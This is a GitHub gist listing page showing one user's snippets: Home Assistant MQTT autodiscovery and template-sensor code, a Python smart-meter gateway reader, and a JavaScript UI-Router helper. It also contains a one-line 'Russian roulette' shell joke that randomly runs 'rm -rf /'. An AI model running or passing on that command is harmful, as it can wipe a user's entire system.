Skip to content

Instantly share code, notes, and snippets.

View jannickfahlbusch's full-sized avatar

Jannick Fahlbusch jannickfahlbusch

View GitHub Profile
@jannickfahlbusch
jannickfahlbusch / autodiscovery.sh
Created August 21, 2023 09:06
HomeAssistant MQTT Autodiscovery for wmbusmeters
#!/usb/bin/env bash
# Required variables
MQTT_HOST="" # Your mqtt host
MQTT_USERNAME="" # Your mqtt username
MQTT_PASSWORD="" # Your mqtt password
METERS_FILES="" # Location of wmbusmeters.d directory
MQTT_DISCOVERY_PREFIX="homeassistant"
@jannickfahlbusch
jannickfahlbusch / smart.py
Created May 9, 2023 18:16 — forked from atarp/smart.py
Python script to read data from PPC Smart Meter Gateway Customer Interface (SMGW) via the HAN interface
#!/usr/bin/env python3
import requests, base64
from requests.auth import HTTPDigestAuth
from bs4 import BeautifulSoup
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
user= '12345678'
password = 'secret'
@jannickfahlbusch
jannickfahlbusch / template-sensor.yml
Created March 19, 2023 12:09
Overall Power Home Assistant
template:
sensor:
- name: Overall Power
unit_of_measurement: "W"
device_class: energy
state_class: measurement
state: >
{% set ns = namespace(states=[]) %}
{% for s in states.sensor %}
{% if s.object_id.endswith('_power') and not s.object_id == "overall_power" %}
[ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo *Click*
@jannickfahlbusch
jannickfahlbusch / goToParentState.js
Last active November 4, 2016 15:10
This snippet goes up the UI-Router-Tree and transitions to the first state, wich is not abstract. https://jf-projects.de/post/UI-Router:-Access-Parent-but-not-abstract-state/
goToParentState: function() {
var states = $state.current.name.split('.');
for (var i = states.length - 1; i > 0; i--) {
var stateName = '';
for (var j = 0; j < i; j++) {
stateName += states[j] + (((j + 1) < i) ? '.' : '');
}